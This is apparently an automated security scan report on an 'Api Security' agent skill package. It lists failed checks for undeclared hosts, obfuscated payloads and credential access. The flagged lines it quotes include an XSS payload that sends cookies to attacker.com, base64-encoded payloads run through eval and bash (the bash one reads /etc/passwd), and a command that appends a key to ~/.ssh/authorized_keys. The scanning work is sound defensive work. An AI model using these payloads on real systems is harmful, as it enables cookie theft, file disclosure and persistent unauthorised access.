Api Security

This skill failed 3 of 6 checks. A failure is not proof of bad intent; it means something in the code needs a human to look at it before you run it.

• No undeclared network calls: failed

  Contacts 4 hosts that are neither well-known infrastructure nor declared in the skill's frontmatter: 169.254.169.254, attacker.com, provisions.snoopy.htb, target.com.

  Every host the skill dials — from its scripts, its config endpoints or the commands it tells the agent to run — is either well-known package and API infrastructure or declared in its own frontmatter. Links in documentation are not counted.

  Hosts contacted

  target.comundeclared127.0.0.1localprovisions.snoopy.htbundeclaredattacker.comundeclared169.254.169.254undeclared

  What it found (3 of 19)

  • skills/api-security/reference/scenarios/graphql/schema-reconstruction.md:64contacts target.com

    curl -s -X POST https://target.com/graphql \

  • skills/api-security/reference/scenarios/rest/mattermost-slash-command-dialog-hijack.md:88contacts provisions.snoopy.htb

    "url": "http://provisions.snoopy.htb:8579/hooks/serverprovision",

  • skills/api-security/reference/scenarios/web-llm/insecure-output-xss.md:66contacts attacker.com

    <img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>

• No obfuscated payloads: failed

  Contains 5 obfuscated or encoded payload patterns.

  No base64, hex or compressed blob is decoded and then executed, and no encoded shell commands.

  What it found (3 of 5)

  • skills/api-security/reference/scenarios/web-llm/insecure-output-xss.md:156eval of a base64-decoded string

    <img src=x onerror=eval(atob('YWxlcnQoMSk='))>

  • skills/api-security/reference/scenarios/web-llm/insecure-output-xss.md:159eval of a base64-decoded string

    <iframe src=x onload=eval(atob('dGhpcy5jb250ZW50RG9jdW1lbnQuZm9ybXNbMV0uc3VibWl0KCk='))>

  • skills/api-security/reference/scenarios/web-llm/os-command-injection-via-llm.md:144base64 payload piped into a shell or interpreter

    $(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash)

• No credential access: failed

  Touches credential material in 1 place.

  Neither the code nor the SKILL.md instructions read SSH keys, cloud credentials, keychains, token stores, browser cookie databases or dotfiles that hold secrets.

  What it found

  • skills/api-security/reference/scenarios/mcp/inspector-stdio-rce.md:42SSH private keys or config

    "args":["-c","mkdir -p ~/.ssh; echo '<YOUR_PUBKEY>' >> ~/.ssh/authorized_keys; chmod 600 ~/.ssh/authorized_keys"],

• Declares what it does: passed

  SKILL.md parses and declares a name and a description.

  SKILL.md exists, its frontmatter parses, and it declares a name and a description.

• No pipe-to-shell installers: passed

  No pipe-to-shell or download-and-run installers.

  No `curl … | sh` pattern, in the code or in the instructions, that runs code fetched at run time.

• Pinned to a commit: passed

  Scanned transilienceai/communitytools at 95fdc128af.

  The exact upstream commit SHA that was scanned is recorded, so the result refers to specific bytes.

Commit

95fdc128af

Manifest

skills/api-security/SKILL.md

Scanned

42 files, 4,670 lines